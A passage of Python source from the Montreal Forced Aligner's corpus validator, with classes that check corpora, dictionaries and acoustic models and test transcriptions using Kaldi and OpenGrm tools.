self.ignore_acoustics: self.printer.print_info_lines("Skipping test alignments.") return self.printer.print_header("Training") self.train() if self.test_transcriptions: self.test_utterance_transcriptions() class PretrainedValidator(PretrainedAligner, ValidationMixin): """ Validator class for checking whether a corpus, a dictionary, and an acoustic model will work together for alignment See Also -------- :class:`~montreal_forced_aligner.alignment.pretrained.PretrainedAligner` For alignment configuration :class:`~montreal_forced_aligner.validation.corpus_validator.ValidationMixin` For validation parameters """ def __init__(self, **kwargs): super().__init__(**kwargs) @property def workflow_identifier(self) -> str: """Identifier for validation""" return "validate_pretrained" def setup(self): """ Set up the corpus and validator Raises ------ :class:`~montreal_forced_aligner.exceptions.KaldiProcessingError` If there were any errors in running Kaldi binaries """ if self.initialized: return try: self.dictionary_setup() self._load_corpus() self.calculate_oovs_found() if self.ignore_acoustics: self.log_info("Skipping acoustic feature generation") else: self.write_lexicon_information() self.initialize_jobs() self.create_corpus_split() if self.test_transcriptions: self.write_lexicon_information(write_disambiguation=True) self.generate_features() if self.test_transcriptions: self.initialize_utt_fsts() else: self.log_info("Skipping transcription testing") self.acoustic_model.validate(self) self.acoustic_model.export_model(self.working_directory) import logging logger = logging.getLogger(self.identifier) self.acoustic_model.log_details(logger) self.initialized = True self.log_info("Finished initializing!") except Exception as e: if isinstance(e, KaldiProcessingError): import logging logger = logging.getLogger(self.identifier) log_kaldi_errors(e.error_logs, logger) e.update_log_file(logger) raise def align(self) -> None: """ Validate alignment """ done_path = os.path.join(self.working_directory, "done") dirty_path = os.path.join(self.working_directory, "dirty") if os.path.exists(done_path): self.log_debug("Alignment already done, skipping.") return try: log_dir = os.path.join(self.working_directory, "log") os.makedirs(log_dir, exist_ok=True) self.compile_train_graphs() self.log_debug("Performing first-pass alignment...") self.speaker_independent = True self.align_utterances() if self.uses_speaker_adaptation: self.log_debug("Calculating fMLLR for speaker adaptation...") self.calc_fmllr() self.speaker_independent = False self.log_debug("Performing second-pass alignment...") self.align_utterances() except Exception as e: with open(dirty_path, "w"): pass if isinstance(e, KaldiProcessingError): import logging logger = logging.getLogger(self.identifier) log_kaldi_errors(e.error_logs, logger) e.update_log_file(logger) raise with open(done_path, "w"): pass def validate(self) -> None: """ Performs validation of the corpus """ self.setup() self.analyze_setup() self.analyze_missing_phones() if self.ignore_acoustics: self.log_info("Skipping test alignments.") return self.align() self.alignment_done = True self.compile_information() if self.test_transcriptions: self.test_utterance_transcriptions() self.transcription_done = True with self.session() as session: session.query(Corpus).update({"transcription_done": True}) session.commit() def analyze_missing_phones(self) -> None: """Analyzes dictionary and acoustic model for phones in the dictionary that don't have acoustic models""" self.printer.print_sub_header("Acoustic model compatibility") if self.excluded_pronunciation_count: self.printer.print_yellow_stat( len(self.excluded_phones), "phones not in acoustic model" ) self.printer.print_yellow_stat( self.excluded_pronunciation_count, "ignored pronunciations" ) phone_string = [self.printer.colorize(x, "red") for x in sorted(self.excluded_phones)] self.printer.print_info_lines( [ "", "Phones missing acoustic models:", "", self.printer.indent_string + comma_join(phone_string), ] ) else: self.printer.print_info_lines( f"There were {self.printer.colorize("no", "green")} phones in the dictionary without acoustic models." ) self.printer.print_end_section()
""" Validating corpora ================== """ from __future__ import annotations import multiprocessing as mp import os import subprocess import sys import time import typing from decimal import Decimal from queue import Empty from typing import TYPE_CHECKING, Dict, List, Optional import sqlalchemy import tqdm from sqlalchemy.orm import Session, joinedload, load_only, selectinload from montreal_forced_aligner.acoustic_modeling.trainer import TrainableAligner from montreal_forced_aligner.alignment import CorpusAligner, PretrainedAligner from montreal_forced_aligner.alignment.multiprocessing import compile_information_func from montreal_forced_aligner.data import MfaArguments from montreal_forced_aligner.db import ( Corpus, Dictionary, File, SoundFile, Speaker, TextFile, Utterance, ) from montreal_forced_aligner.exceptions import ConfigError, KaldiProcessingError from montreal_forced_aligner.helper import ( TerminalPrinter, comma_join, load_configuration, load_scp, ) from montreal_forced_aligner.transcription.transcriber import TranscriberMixin from montreal_forced_aligner.utils import ( KaldiFunction, KaldiProcessWorker, Stopped, log_kaldi_errors, run_mp, run_non_mp, thirdparty_binary, ) if TYPE_CHECKING: from argparse import Namespace from dataclasses import dataclass from montreal_forced_aligner.abc import MetaDict else: from dataclassy import dataclass __all__ = ["TrainingValidator", "PretrainedValidator"] @dataclass class TestUtterancesArguments(MfaArguments): """Arguments for :class:`~montreal_forced_aligner.validation.corpus_validator.TestUtterancesFunction`""" feature_strings: Dict[str, str] text_int_paths: Dict[str, str] model_path: str disambiguation_symbols_int_path: str score_options: MetaDict text_paths: Dict[str, str] tree_path: str utt2lm_paths: Dict[str, str] order: int method: str @dataclass class TrainSpeakerLmArguments(MfaArguments): """Arguments for :class:`~montreal_forced_aligner.validation.corpus_validator.TrainSpeakerLmFunction`""" word_symbols_paths: Dict[str, str] speaker_mapping: Dict[str, List[str]] speaker_paths: Dict[str, str] oov_word: str order: int method: str target_num_ngrams: int class TestUtterancesFunction(KaldiFunction): """ Multiprocessing function to test utterance transcriptions with utterance and speaker ngram models See Also -------- :kaldi_src:`compile-train-graphs-fsts` Relevant Kaldi binary :kaldi_src:`gmm-latgen-faster` Relevant Kaldi binary :kaldi_src:`lattice-oracle` Relevant Kaldi binary :openfst_src:`farcompilestrings` Relevant OpenFst binary :ngram_src:`ngramcount` Relevant OpenGrm-Ngram binary :ngram_src:`ngrammake` Relevant OpenGrm-Ngram binary :ngram_src:`ngramshrink` Relevant OpenGrm-Ngram binary Parameters ---------- args: :class:`~montreal_forced_aligner.validation.corpus_validator.TestUtterancesArguments` Arguments for the function """ def __init__(self, args: TestUtterancesArguments): super().__init__(args) self.feature_strings = args.feature_strings self.text_int_paths = args.text_int_paths self.disambiguation_symbols_int_path = args.disambiguation_symbols_int_path self.model_path = args.model_path self.score_options = args.score_options self.text_paths = args.text_paths self.tree_path = args.tree_path self.utt2lm_paths = args.utt2lm_paths self.order = args.order self.method = args.method self.reversed_word_mapping = {} self.word_symbols_paths = {} self.lexicon_disambig_fst_paths = {} def run(self) -> typing.Generator[typing.Tuple[int, str]]: """Run the function""" db_engine = sqlalchemy.create_engine(f"sqlite:///{self.db_path}?mode=ro&nolock=1") with Session(db_engine) as session: for dict_id in self.feature_strings.keys(): d = ( session.query(Dictionary) .options( selectinload(Dictionary.words), load_only( Dictionary.oov_word, Dictionary.root_temp_directory, ), ) .get(dict_id) ) self.oov_word = d.oov_word self.word_symbols_paths[dict_id] = d.words_symbol_path self.lexicon_disambig_fst_paths[dict_id] = d.lexicon_disambig_fst_path self.reversed_word_mapping[dict_id] = {} for w in d.words: self.reversed_word_mapping[dict_id][w.id] = w.word with open(self.log_path, "w") as log_file: for dict_id in self.feature_strings.keys(): feature_string = self.feature_strings[dict_id] text_int_path = self.text_int_paths[dict_id] disambig_int_path = self.disambiguation_symbols_int_path disambig_L_fst_path = self.lexicon_disambig_fst_paths[dict_id] utt2lm_path = self.utt2lm_paths[dict_id] text_path = self.text_paths[dict_id] word_symbols_path = self.word_symbols_paths[dict_id] compile_proc = subprocess.Popen( [ thirdparty_binary("compile-train-graphs-fsts"), f"--transition-scale={self.score_options['transition_scale']}", f"--self-loop-scale={self.score_options['self_loop_scale']}", f"--read-disambig-syms={disambig_int_path}", "--batch_size=1", self.tree_path, self.model_path, disambig_L_fst_path, "ark:-", "ark:-", ], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=log_file, env=os.environ, ) latgen_proc = subprocess.Popen( [ thirdparty_binary("gmm-latgen-faster"), f"--acoustic-scale={self.score_options['acoustic_scale']}", f"--beam={self.score_options['beam']}", f"--max-active={self.score_options['max_active']}", f"--lattice-beam={self.score_options['lattice_beam']}", f"--word-symbol-table={word_symbols_path}", "--allow-partial", self.model_path, "ark:-", feature_string, "ark:-", ], stderr=log_file, stdin=compile_proc.stdout, stdout=subprocess.PIPE, env=os.environ, ) oracle_proc = subprocess.Popen( [ thirdparty_binary("lattice-oracle"), "ark:-", f"ark,t:{text_int_path}", "ark,t:-", ], stdin=latgen_proc.stdout, stdout=subprocess.PIPE, env=os.environ, stderr=log_file, ) texts = load_scp(text_path) fsts = load_scp(utt2lm_path) temp_dir = os.path.dirname(self.log_path) for utt, text in texts.items(): if not text: continue mod_path = os.path.join(temp_dir, f"{utt}.mod") far_proc = subprocess.Popen( [ thirdparty_binary("farcompilestrings"), "--fst_type=compact", f"--unknown_symbol={self.oov_word}", f"--symbols={word_symbols_path}", "--generate_keys=1", "--keep_symbols", ], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=log_file, env=os.environ, ) count_proc = subprocess.Popen( [thirdparty_binary("ngramcount"), f"--order={self.order}"], stdin=far_proc.stdout, stdout=subprocess.PIPE, stderr=log_file, env=os.environ, ) with open(mod_path, "wb") as f: make_proc = subprocess.Popen( [thirdparty_binary("ngrammake"), f"--method={self.method}"], stdin=count_proc.stdout, stdout=f, stderr=log_file, env=os.environ, ) far_proc.stdin.write(" ".join(text).encode("utf8")) far_proc.stdin.flush() far_proc.stdin.close() make_proc.communicate() merge_proc = subprocess.Popen( [ thirdparty_binary("ngrammerge"), "--normalize", "--v=10", mod_path, fsts[utt], ], stdout=subprocess.PIPE, stderr=log_file, env=os.environ, ) print_proc = subprocess.Popen( [thirdparty_binary("fstprint"), "--numeric=true", "--v=10"], stderr=log_file, stdin=merge_proc.stdout, stdout=subprocess.PIPE, env=os.environ, ) # fst = far_proc.stdout.read() fst = print_proc.communicate()[0] compile_proc.stdin.write(f"{utt}\n".encode("utf8")) compile_proc.stdin.write(fst) compile_proc.stdin.write(b"\n") compile_proc.stdin.flush() output = oracle_proc.stdout.readline() output = output.strip().decode("utf8").split(" ") utterance = int(output[0].split("-")[-1]) transcript = " ".join( self.reversed_word_mapping[dict_id][int(x)] for x in output[1:] ) os.remove(mod_path) yield utterance, transcript compile_proc.stdin.close() oracle_proc.communicate() self.check_call(oracle_proc) class TrainSpeakerLmFunction(KaldiFunction): """ Multiprocessing function to training small language models for each speaker See Also -------- :openfst_src:`farcompilestrings` Relevant OpenFst binary :ngram_src:`ngramcount` Relevant OpenGrm-Ngram binary :ngram_src:`ngrammake` Relevant OpenGrm-Ngram binary :ngram_src:`ngramshrink` Relevant OpenGrm-Ngram binary Parameters ---------- args: :class:`~montreal_forced_aligner.validation.corpus_validator.TrainSpeakerLmArguments` Arguments for the function """ def __init__(self, args: TrainSpeakerLmArguments): super().__init__(args) self.word_symbols_paths = args.word_symbols_paths self.speaker_mapping = args.speaker_mapping self.speaker_paths = args.speaker_paths self.oov_word = args.oov_word self.order = args.order self.method = args.method self.target_num_ngrams = args.target_num_ngrams def run(self): """Run the function""" with open(self.log_path, "w", encoding="utf8") as log_file: for dict_id, speakers in self.speaker_mapping.items(): word_symbols_path = self.word_symbols_paths[dict_id] for speaker in speakers: training_path = self.speaker_paths[speaker] base_path = os.path.splitext(training_path)[0] mod_path = base_path + ".mod" far_proc = subprocess.Popen( [ thirdparty_binary("farcompilestrings"), "--fst_type=compact", f"--unknown_symbol={self.oov_word}", f"--symbols={word_symbols_path}", "--keep_symbols", training_path, ], stdout=subprocess.PIPE, stderr=log_file, env=os.environ, ) count_proc = subprocess.Popen( [thirdparty_binary("ngramcount"), f"--order={self.order}"], stdin=far_proc.stdout, stdout=subprocess.PIPE, stderr=log_file, ) make_proc = subprocess.Popen( [thirdparty_binary("ngrammake"), "--method=kneser_ney"], stdin=count_proc.stdout, stdout=subprocess.PIPE, stderr=log_file, env=os.environ, ) shrink_proc = subprocess.Popen( [ thirdparty_binary("ngramshrink"), "--method=relative_entropy", f"--target_number_of_ngrams={self.target_num_ngrams}", "--shrink_opt=2", "--theta=0.001", "-", mod_path, ], stdin=make_proc.stdout, stderr=log_file, env=os.environ, ) shrink_proc.communicate() self.check_call(shrink_proc) assert os.path.exists(mod_path) os.remove(training_path) yield os.path.exists(mod_path) class ValidationMixin(CorpusAligner, TranscriberMixin): """ Mixin class for performing validation on a corpus Parameters ---------- ignore_acoustics: bool Flag for whether feature generation and training/alignment should be skipped test_transcriptions: bool Flag for whether utterance transcriptions should be tested with a unigram language model target_num_ngrams: int Target number of ngrams from speaker models to use See Also -------- :class:`~montreal_forced_aligner.alignment.base.CorpusAligner` For corpus, dictionary, and alignment parameters Attributes ---------- printer: TerminalPrinter Printer for output messages """ def __init__( self, ignore_acoustics: bool = False, test_transcriptions: bool = False, target_num_ngrams: int = 100, min_word_count: int = 10, order: int = 3, method: str = "kneser_ney", **kwargs, ): kwargs["clean"] = True super().__init__(**kwargs) self.ignore_acoustics = ignore_acoustics self.test_transcriptions = test_transcriptions self.target_num_ngrams = target_num_ngrams self.min_word_count = min_word_count self.order = order self.method = method self.printer = TerminalPrinter(print_function=self.log_info) def output_utt_fsts(self) -> None: """ Write utterance FSTs """ with self.session() as session: for j in self.jobs: if not j.has_data: continue for dict_id in j.dictionary_ids: utterances = ( session.query(Utterance.kaldi_id, Utterance.speaker_id) .join(Utterance.speaker) .join(Speaker.dictionary) .filter(Speaker.job_id == j.name) .filter(Speaker.dictionary_id == dict_id) .order_by(Utterance.kaldi_id) ) utt2fst_scp_path = os.path.join( self.split_directory, f"utt2lm.{dict_id}.{j.name}.scp" ) with open(utt2fst_scp_path, "w", encoding="utf8") as f: for u_id, s_id in utterances: speaker_lm = os.path.join(self.working_directory, f"{s_id}.mod") f.write(f"{u_id} {speaker_lm}\n") def train_speaker_lm_arguments( self, ) -> List[TrainSpeakerLmArguments]: """ Generate Job arguments for :class:`~montreal_forced_aligner.validation.corpus_validator.TrainSpeakerLmFunction` Returns ------- list[:class:`~montreal_forced_aligner.validation.corpus_validator.TrainSpeakerLmArguments`] Arguments for processing """ arguments = [] with self.session() as session: for j in self.jobs: if not j.has_data: continue speaker_mapping = {} speaker_paths = {} words_symbol_paths = {} speakers = ( session.query(Speaker) .options(joinedload(Speaker.dictionary, innerjoin=True)) .filter(Speaker.job_id == j.name) ) for s in speakers: dict_id = s.dictionary_id if dict_id not in speaker_mapping: speaker_mapping[dict_id] = [] words_symbol_paths[dict_id] = s.dictionary.words_symbol_path speaker_mapping[dict_id].append(s.id) speaker_paths[s.id] = os.path.join(self.working_directory, f"{s.id}.txt") arguments.append( TrainSpeakerLmArguments( j.name, getattr(self, "db_path", ""), os.path.join(self.working_log_directory, f"train_lm.{j.name}.log"), words_symbol_paths, speaker_mapping, speaker_paths, self.oov_word, self.order, self.method, self.target_num_ngrams, ) ) return arguments def test_utterances_arguments(self) -> List[TestUtterancesArguments]: """ Generate Job arguments for :class:`~montreal_forced_aligner.validation.corpus_validator.TestUtterancesFunction` Returns ------- list[:class:`~montreal_forced_aligner.validation.corpus_validator.TestUtterancesArguments`] Arguments for processing """ feat_strings = self.construct_feature_proc_strings() return [ TestUtterancesArguments( j.name, getattr(self, "db_path", ""), os.path.join(self.working_log_directory, f"test_utterances.{j.name}.log"), feat_strings[j.name], j.construct_path_dictionary(self.data_directory, "text", "int.scp"), self.model_path, self.disambiguation_symbols_int_path, self.score_options, j.construct_path_dictionary(self.data_directory, "text", "scp"), self.tree_path, j.construct_path_dictionary(self.data_directory, "utt2lm", "scp"), self.order, self.method, ) for j in self.jobs if j.has_data ] @property def working_log_directory(self) -> str: """Working log directory""" return os.path.join(self.working_directory, "log") def setup(self): """ Set up the corpus and validator Raises ------ :class:`~montreal_forced_aligner.exceptions.KaldiProcessingError` If there were any errors in running Kaldi binaries """ try: self.initialize_database() self.load_corpus() self.write_lexicon_information() if self.test_transcriptions: self.write_lexicon_information(write_disambiguation=True) if self.ignore_acoustics: self.log_info("Skipping acoustic feature generation") else: self.generate_features() self.calculate_oovs_found() if not self.ignore_acoustics and self.test_transcriptions: self.initialize_utt_fsts() else: self.log_info("Skipping transcription testing") except Exception as e: if isinstance(e, KaldiProcessingError): import logging logger = logging.getLogger(self.identifier) log_kaldi_errors(e.error_logs, logger) e.update_log_file(logger) raise def analyze_setup(self) -> None: """ Analyzes the setup process and outputs info to the console """ begin = time.time() with self.session() as session: sound_file_count = session.query(SoundFile).count() text_file_count = session.query(TextFile).count() total_duration = session.query(sqlalchemy.func.sum(Utterance.duration)).scalar() total_duration = Decimal(str(total_duration)).quantize(Decimal("0.001")) self.log_debug(f"Duration calculation took {time.time() - begin}") begin = time.time() ignored_count = len(self.no_transcription_files) ignored_count += len(self.textgrid_read_errors) ignored_count += len(self.decode_error_files) self.log_debug(f"Ignored count calculation took {time.time() - begin}") self.printer.print_header("Corpus") self.printer.print_green_stat(sound_file_count, "sound files") self.printer.print_green_stat(text_file_count, "text files") if len(self.no_transcription_files): self.printer.print_yellow_stat( len(self.no_transcription_files), "sound files without corresponding transcriptions", ) if len(self.decode_error_files): self.printer.print_red_stat(len(self.decode_error_files), "read errors for lab files") if len(self.textgrid_read_errors): self.printer.print_red_stat( len(self.textgrid_read_errors), "read errors for TextGrid files" ) self.printer.print_green_stat(self.num_speakers, "speakers") self.printer.print_green_stat(self.num_utterances, "utterances") self.printer.print_green_stat(total_duration, "seconds total duration") print() self.analyze_wav_errors() self.analyze_missing_features() self.analyze_files_with_no_transcription() self.analyze_transcriptions_with_no_wavs() if len(self.decode_error_files): self.analyze_unreadable_text_files() if len(self.textgrid_read_errors): self.analyze_textgrid_read_errors() self.printer.print_header("Dictionary") self.analyze_oovs() def analyze_oovs(self) -> None: """ Analyzes OOVs in the corpus and constructs message """ self.printer.print_sub_header("Out of vocabulary words") output_dir = self.output_directory oov_path = os.path.join(output_dir, "oovs_found.txt") utterance_oov_path = os.path.join(output_dir, "utterance_oovs.txt") total_instances = 0 with open(utterance_oov_path, "w", encoding="utf8") as f, self.session() as session: utterances = ( session.query( File.name, File.relative_path, Speaker.name, Utterance.begin, Utterance.end, Utterance.oovs, ) .join(Utterance.file) .join(Utterance.speaker) .filter(Utterance.oovs != None) # noqa .filter(Utterance.oovs != "") ) for file_name, relative_path, speaker_name, begin, end, oovs in utterances: total_instances += len(oovs) f.write( f"{relative_path +'/' + file_name}, {speaker_name}: {begin}-{end}: {', '.join(oovs)}\n" ) self.oovs_found.update(oovs) if self.oovs_found: self.calculate_oovs_found() self.printer.print_yellow_stat(len(self.oovs_found), "OOV word types") self.printer.print_yellow_stat(total_instances, "total OOV tokens") lines = [ "", "For a full list of the word types, please see:", "", self.printer.indent_string + self.printer.colorize(oov_path, "bright"), "", "For a by-utterance breakdown of missing words, see:", "", self.printer.indent_string + self.printer.colorize(utterance_oov_path, "bright"), "", ] self.printer.print_info_lines(lines) else: self.printer.print_info_lines( f"There were {self.printer.colorize('no', 'yellow')} missing words from the dictionary. If you plan on using the a model trained " "on this dataset to align other datasets in the future, it is recommended that there be at " "least some missing words." ) self.printer.print_end_section() def analyze_wav_errors(self) -> None: """ Analyzes any sound file issues in the corpus and constructs message """ self.printer.print_sub_header("Sound file read errors") output_dir = self.output_directory wav_read_errors = self.sound_file_errors if wav_read_errors: path = os.path.join(output_dir, "sound_file_errors.csv") with open(path, "w") as f: for p in wav_read_errors: f.write(f"{p}\n") self.printer.print_info_lines( f"There were {self.printer.colorize(len(wav_read_errors), 'red')} issues reading sound files. " f"Please see {self.printer.colorize(path, 'bright')} for a list." ) else: self.printer.print_info_lines( f"There were {self.printer.colorize('no', 'green')} issues reading sound files." ) self.printer.print_end_section() def analyze_missing_features(self) -> None: """ Analyzes issues in feature generation in the corpus and constructs message """ self.printer.print_sub_header("Feature generation") if self.ignore_acoustics: self.printer.print_info_lines("Acoustic feature generation was skipped.") self.printer.print_end_section() return output_dir = self.output_directory with self.session() as session: utterances = ( session.query(File.name, File.relative_path, Utterance.begin, Utterance.end) .join(Utterance.file) .filter(Utterance.ignored == True) # noqa ) if utterances.count(): path = os.path.join(output_dir, "missing_features.csv") with open(path, "w") as f: for file_name, relative_path, begin, end in utterances: f.write(f"{relative_path + '/' + file_name},{begin},{end}\n") self.printer.print_info_lines( f"There were {self.printer.colorize(utterances.count(), 'red')} utterances missing features. " f"Please see {self.printer.colorize(path, 'bright')} for a list." ) else: self.printer.print_info_lines( f"There were {self.printer.colorize('no', 'green')} utterances missing features." ) self.printer.print_end_section() def analyze_files_with_no_transcription(self) -> None: """ Analyzes issues with sound files that have no transcription files in the corpus and constructs message """ self.printer.print_sub_header("Files without transcriptions") output_dir = self.output_directory if self.no_transcription_files: path = os.path.join(output_dir, "missing_transcriptions.csv") with open(path, "w") as f: for file_path in self.no_transcription_files: f.write(f"{file_path}\n") self.printer.print_info_lines( f"There were {self.printer.colorize(len(self.no_transcription_files), 'red')} sound files missing transcriptions. " f"Please see {self.printer.colorize(path, 'bright')} for a list." ) else: self.printer.print_info_lines( f"There were {self.printer.colorize('no', 'green')} sound files missing transcriptions." ) self.printer.print_end_section() def analyze_transcriptions_with_no_wavs(self) -> None: """ Analyzes issues with transcription that have no sound files in the corpus and constructs message """ self.printer.print_sub_header("Transcriptions without sound files") output_dir = self.output_directory if self.transcriptions_without_wavs: path = os.path.join(output_dir, "transcriptions_missing_sound_files.csv") with open(path, "w") as f: for file_path in self.transcriptions_without_wavs: f.write(f"{file_path}\n") self.printer.print_info_lines( f"There were {self.printer.colorize(len(self.transcriptions_without_wavs), 'red')} transcription files missing sound files. " f"Please see {self.printer.colorize(path, 'bright')} for a list." ) else: self.printer.print_info_lines( f"There were {self.printer.colorize('no', 'green')} transcription files missing sound files." ) self.printer.print_end_section() def analyze_textgrid_read_errors(self) -> None: """ Analyzes issues with reading TextGrid files in the corpus and constructs message """ self.printer.print_sub_header("TextGrid read errors") output_dir = self.output_directory if self.textgrid_read_errors: path = os.path.join(output_dir, "textgrid_read_errors.txt") with open(path, "w") as f: for e in self.textgrid_read_errors: f.write( f"The TextGrid file {e.file_name} gave the following error on load:\n\n{e}\n\n\n" ) self.printer.print_info_lines( [ f"There were {self.printer.colorize(len(self.textgrid_read_errors), 'red')} TextGrid files that could not be loaded. " "For details, please see:", "", self.printer.indent_string + self.printer.colorize(path, "bright"), ] ) else: self.printer.print_info_lines( f"There were {self.printer.colorize('no', 'green')} issues reading TextGrids." ) self.printer.print_end_section() def analyze_unreadable_text_files(self) -> None: """ Analyzes issues with reading text files in the corpus and constructs message """ self.printer.print_sub_header("Text file read errors") output_dir = self.output_directory if self.decode_error_files: path = os.path.join(output_dir, "utf8_read_errors.csv") with open(path, "w") as f: for file_path in self.decode_error_files: f.write(f"{file_path}\n") self.printer.print_info_lines( f"There were {self.printer.colorize(len(self.decode_error_files), 'red')} text files that could not be read. " f"Please see {self.printer.colorize(path, 'bright')} for a list." ) else: self.printer.print_info_lines( f"There were {self.printer.colorize('no', 'green')} issues reading text files." ) self.printer.print_end_section() def compile_information(self) -> None: """ Compiles information about alignment, namely what the overall log-likelihood was and how many files were unaligned. See Also -------- :func:`~montreal_forced_aligner.alignment.multiprocessing.compile_information_func` Multiprocessing helper function for each job :meth:`.AlignMixin.compile_information_arguments` Job method for generating arguments for the helper function """ self.log_debug("Analyzing alignment information") compile_info_begin = time.time() self.collect_alignments() jobs = self.compile_information_arguments() if self.use_mp: alignment_info = run_mp( compile_information_func, jobs, self.working_log_directory, True ) else: alignment_info = run_non_mp( compile_information_func, jobs, self.working_log_directory, True ) avg_like_sum = 0 avg_like_frames = 0 average_logdet_sum = 0 average_logdet_frames = 0 beam_too_narrow_count = 0 too_short_count = 0 unaligned_utts = [] for data in alignment_info.values(): unaligned_utts.extend(data["unaligned"]) beam_too_narrow_count += len(data["unaligned"]) too_short_count += len(data["too_short"]) avg_like_frames += data["total_frames"] avg_like_sum += data["log_like"] * data["total_frames"] if "logdet_frames" in data: average_logdet_frames += data["logdet_frames"] average_logdet_sum += data["logdet"] * data["logdet_frames"] self.printer.print_header("Alignment") if not avg_like_frames: self.log_debug( "No utterances were aligned, this likely indicates serious problems with the aligner." ) self.printer.print_red_stat(0, f"of {self.num_utterances} utterances were aligned") else: if too_short_count: self.printer.print_red_stat( too_short_count, "utterances were too short to be aligned" ) else: self.printer.print_green_stat(0, "utterances were too short to be aligned") if beam_too_narrow_count: self.log_debug( f"There were {beam_too_narrow_count} utterances that could not be aligned with " f"the current beam settings." ) self.printer.print_yellow_stat( beam_too_narrow_count, "utterances that need a larger beam to align" ) else: self.printer.print_green_stat(0, "utterances that need a larger beam to align") num_utterances = self.num_utterances with self.session() as session: unaligned_utts = ( session.query(Utterance) .options(joinedload(Utterance.file).load_only(File.name)) .filter_by(alignment_log_likelihood=None) ) unaligned_count = unaligned_utts.count() if unaligned_count: path = os.path.join(self.output_directory, "unalignable_files.csv") with open(path, "w") as f: f.write("file,begin,end,duration,text length\n") for u in unaligned_utts: utt_length_words = u.text.count(" ") + 1 f.write( f"{u.file.name},{u.begin},{u.end},{u.duration},{utt_length_words}\n" ) self.printer.print_info_lines( [ f"There were {self.printer.colorize(unaligned_count, 'red')} unaligned utterances out of {self.printer.colorize(self.num_utterances, 'bright')} after initial training. " f"For details, please see:", "", self.printer.indent_string + self.printer.colorize(path, "bright"), ] ) self.printer.print_green_stat( num_utterances - beam_too_narrow_count - too_short_count, "utterances were successfully aligned", ) average_log_like = avg_like_sum / avg_like_frames if average_logdet_sum: average_log_like += average_logdet_sum / average_logdet_frames self.log_debug(f"Average per frame likelihood for alignment: {average_log_like}") self.log_debug(f"Compiling information took {time.time() - compile_info_begin}") def initialize_utt_fsts(self) -> None: """ Construct utterance FSTs """ if sys.platform != "win32": self.log_info("Initializing for testing transcriptions...") self.output_utt_fsts() @property def score_options(self) -> MetaDict: """Parameters for scoring transcript lattices""" return { "self_loop_scale": 0.1, "transition_scale": 1.0, "acoustic_scale": 0.1, "beam": 15.0, "lattice_beam": 8.0, "max_active": 750, } def train_speaker_lms(self) -> None: """Train language models for each speaker based on their utterances""" begin = time.time() self.calculate_word_counts() log_directory = self.working_log_directory os.makedirs(log_directory, exist_ok=True) self.log_info("Compiling per speaker biased language models...") with self.session() as session: speakers = session.query(Speaker).options( selectinload(Speaker.utterances).load_only(Utterance.normalized_text) ) for s in speakers: with open( os.path.join(self.working_directory, f"{s.id}.txt"), "w", encoding="utf8" ) as f: for u in s.utterances: text = [ x if self.word_counts[x] >= self.min_word_count else self.oov_word for x in u.normalized_text.split() ] f.write(" ".join(text) + "\n") arguments = self.train_speaker_lm_arguments() with tqdm.tqdm(total=self.num_speakers, disable=getattr(self, "quiet", False)) as pbar: if self.use_mp: error_dict = {} return_queue = mp.Queue() stopped = Stopped() procs = [] for i, args in enumerate(arguments): function = TrainSpeakerLmFunction(args) p = KaldiProcessWorker(i, return_queue, function, stopped) procs.append(p) p.start() while True: try: result = return_queue.get(timeout=1) if stopped.stop_check(): continue except Empty: for proc in procs: if not proc.finished.stop_check(): break else: break continue if isinstance(result, KaldiProcessingError): error_dict[result.job_name] = result continue pbar.update(1) if error_dict: for v in error_dict.values(): raise v else: self.log_debug("Not using multiprocessing...") for args in arguments: function = TrainSpeakerLmFunction(args) for _ in function.run(): pbar.update(1) self.log_debug(f"Compiling speaker language models took {time.time() - begin}") def test_utterance_transcriptions(self) -> None: """ Tests utterance transcriptions with simple unigram models based on the utterance text and frequent words in the corpus Raises ------ :class:`~montreal_forced_aligner.exceptions.KaldiProcessingError` If there were any errors in running Kaldi binaries """ if sys.platform == "win32": self.log_info("Cannot test transcriptions on Windows, please use Linux or Mac.") return self.log_info("Checking utterance transcriptions...") try: self.train_speaker_lms() self.log_info("Decoding utterances (this will take some time)...") begin = time.time() log_directory = self.working_log_directory os.makedirs(log_directory, exist_ok=True) arguments = self.test_utterances_arguments() utterance_mapping = [] with tqdm.tqdm( total=self.num_utterances, disable=getattr(self, "quiet", False) ) as pbar: if self.use_mp: error_dict = {} return_queue = mp.Queue() stopped = Stopped() procs = [] for i, args in enumerate(arguments): function = TestUtterancesFunction(args) p = KaldiProcessWorker(i, return_queue, function, stopped) procs.append(p) p.start() while True: try: result = return_queue.get(timeout=1) if stopped.stop_check(): continue except Empty: for proc in procs: if not proc.finished.stop_check(): break else: break continue if isinstance(result, KaldiProcessingError): error_dict[result.job_name] = result continue utterance, transcript = result pbar.update(1) if not utterance or not transcript: continue utterance_mapping.append( {"id": utterance, "transcription_text": transcript} ) for p in procs: p.join() if error_dict: for v in error_dict.values(): raise v else: self.log_debug("Not using multiprocessing...") for args in arguments: function = TestUtterancesFunction(args) for utterance, transcript in function.run(): if not utterance or not transcript: continue utterance_mapping.append( {"id": utterance, "transcription_text": transcript} ) pbar.update(1) with self.session() as session: session.bulk_update_mappings(Utterance, utterance_mapping) self.log_debug(f"Decoding utterances took {time.time() - begin}") self.log_info("Finished decoding utterances!") self.printer.print_header("Test transcriptions") ser, wer, cer = self.compute_wer() if ser < 0.3: self.printer.print_green_stat(f"{ser*100:.2f}%", "sentence error rate") elif ser < 0.8: self.printer.print_yellow_stat(f"{ser*100:.2f}%", "sentence error rate") else: self.printer.print_red_stat(f"{ser*100:.2f}%", "sentence error rate") if wer < 0.25: self.printer.print_green_stat(f"{wer*100:.2f}%", "word error rate") elif wer < 0.75: self.printer.print_yellow_stat(f"{wer*100:.2f}%", "word error rate") else: self.printer.print_red_stat(f"{wer*100:.2f}%", "word error rate") if cer < 0.25: self.printer.print_green_stat(f"{cer*100:.2f}%", "character error rate") elif cer < 0.75: self.printer.print_yellow_stat(f"{cer*100:.2f}%", "character error rate") else: self.printer.print_red_stat(f"{cer*100:.2f}%", "character error rate") self.save_transcription_evaluation(self.output_directory) out_path = os.path.join(self.output_directory, "transcription_evaluation.csv") print(f"See {self.printer.colorize(out_path, 'bright')} for more details.") except Exception as e: if isinstance(e, KaldiProcessingError): import logging logger = logging.getLogger(self.identifier) log_kaldi_errors(e.error_logs, logger) e.update_log_file(logger) raise class TrainingValidator(TrainableAligner, ValidationMixin): """ Validator class for checking whether a corpus and a dictionary will work together for training See Also -------- 